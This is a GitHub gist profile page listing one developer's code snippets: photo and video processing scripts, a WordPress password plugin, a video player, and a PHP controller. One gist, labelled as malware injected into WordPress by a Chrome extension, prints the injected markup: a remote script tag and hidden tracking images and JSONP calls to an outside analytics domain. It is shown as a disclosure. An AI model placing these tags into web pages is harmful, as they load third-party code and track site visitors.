Skip to content

Instantly share code, notes, and snippets.

View neo22s's full-sized avatar

Chema neo22s

View GitHub Profile
@neo22s
neo22s / photo_stats.py
Last active February 4, 2025 22:28
Photo Stats: Your Photo Metadata Analyzer by @chema_photo
#!/usr/bin/env python3
import os
import sys
import time
import json
import sqlite3
import subprocess
import logging
import multiprocessing
from multiprocessing import Manager, Process, Pool
@neo22s
neo22s / estimate_resize.sh
Created January 13, 2025 08:50
Estimates the total resize in video conversion
#!/bin/bash
INPUT_FOLDER="/" #Aet the folder to analyze here
# Define the desired new bitrate (in kbps)
DESIRED_BITRATE=3000 # Adjust this value as needed
SAVINGS_THRESHOLD=20 # Minimum savings percentage required to process a file
# Initialize totals for files that meet processing criteria
total_original_size_to_process=0
@neo22s
neo22s / video_processor.py
Last active March 3, 2025 14:53
Change Bitrate of videos in bulk
#!/usr/bin/env python3
import os
import sys
import subprocess
import json
from pathlib import Path
from tqdm import tqdm
class VideoProcessor:
@neo22s
neo22s / better-video.js
Last active February 24, 2024 03:43
Playlist video player for HTML5
jQuery(document).ready(function( $ ) {
/**
* improving the current html5 video player
*/
//when we pause we store the current time
$("video").on("pause", function(event) {
// Save into local storage,if you change the browser will not work
localStorage.setItem('bvideo-'+btoa(this.src), this.currentTime);
@neo22s
neo22s / post-password.php
Last active December 27, 2021 15:32
Get unique cookie for password protected posts in wordpress. We use the url of the post as MD5 for unique cookie storage. This way you can be loged in in different posts without putting the password in each of them. Also if you are an admin no need ot insert the password
<?php
/**
* Plugin Name: Advanced Post Password
* Plugin URI: https://garridodiaz.com
* Description: Password protected posts/pages adding some extra security features.
* Version: 1.0
* Author: Chema
* Author URI: https://garridodiaz.com
* License: GPL2
*/
@neo22s
neo22s / video.html
Last active August 20, 2023 14:55
HTML5 Video Position Saving
<!DOCTYPE html>
<html>
<head>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js"></script>
</head>
<body>
<video controls="" src="https://s3.amazonaws.com/akamai.netstorage/HD_downloads/Orion_SM.mp4?" data-origwidth="0" data-origheight="0" ></video>
@neo22s
neo22s / txt
Created January 29, 2020 11:34
ART-log.txt
Cache directory (cacheBaseDir) = /home/chema/.cache/ART
Default profile for raw images "Dynamic" found
Default profile for non-raw images "Neutral" found
Loading lensfun database from the default directories...OK
Processing file /home/chema/programs/art/./profiles/Sharpening.arp...OK
Processing file /home/chema/programs/art/./profiles/Auto-Matched Curve.arp...OK
Processing file /home/chema/programs/art/./profiles/Simple Film Curve.arp...OK
Processing file /home/chema/programs/art/./profiles/Noise Reduction Low.arp...OK
Processing file /home/chema/programs/art/./profiles/Noise Reduction High.arp...OK
ICCStore: rebuilt TRC for RTv2 profile RTv2_ACES_AP0: gamma=2.4, slope=12.9231
@neo22s
neo22s / videostream.html
Last active March 7, 2018 07:34
Malware for WordPress using Videostream – Chrome extension - https://chema.ga/malware-videostream/
<script src="//s3.amazonaws.com/js-cache/18b181560802361ac2.js" type="text/javascript"></script>
<img style="width: 0; height: 0; display: none; visibility: hidden;" src="https://cdnanalytics.xyz/metric/?mid=&amp;wid=51824&amp;sid=&amp;tid=6321&amp;rid=LOADED&amp;custom1=site.com&amp;t=1520405632922" /><img style="width: 0; height: 0; display: none; visibility: hidden;" src="https://cdnanalytics.xyz/metric/?mid=&amp;wid=51824&amp;sid=&amp;tid=6321&amp;rid=BEFORE_OPTOUT_REQ&amp;t=1520405632922" /><script src="https://cdnanalytics.xyz/optout/get?jsonp=__twb_cb_931421969&amp;key=18b181560802361ac2&amp;t=1520405632924" type="text/javascript"></script><img style="width: 0; height: 0; display: none; visibility: hidden;" src="https://cdnanalytics.xyz/metric/?mid=&amp;wid=51824&amp;sid=&amp;tid=6321&amp;rid=FINISHED&amp;custom1=site.comm&amp;t=1520405632925" />
@neo22s
neo22s / README.MD
Created July 19, 2017 10:12
Gimp Curves Presets

About

Collection of 123 curves presets for GIMP.

Installing

You just have to copy the contents of the file into your gimp-curves-tool.settings file. On my version of Linux this was under

@neo22s
neo22s / controller.php
Created April 18, 2017 18:15
language selector koseven
<?php
/**
* Front end controller for OC app
*
* @package OC
* @category Controller
* @author Chema <[email protected]>
* @copyright (c) 2009-2013 Open Classifieds Team
* @license GPL v3
*/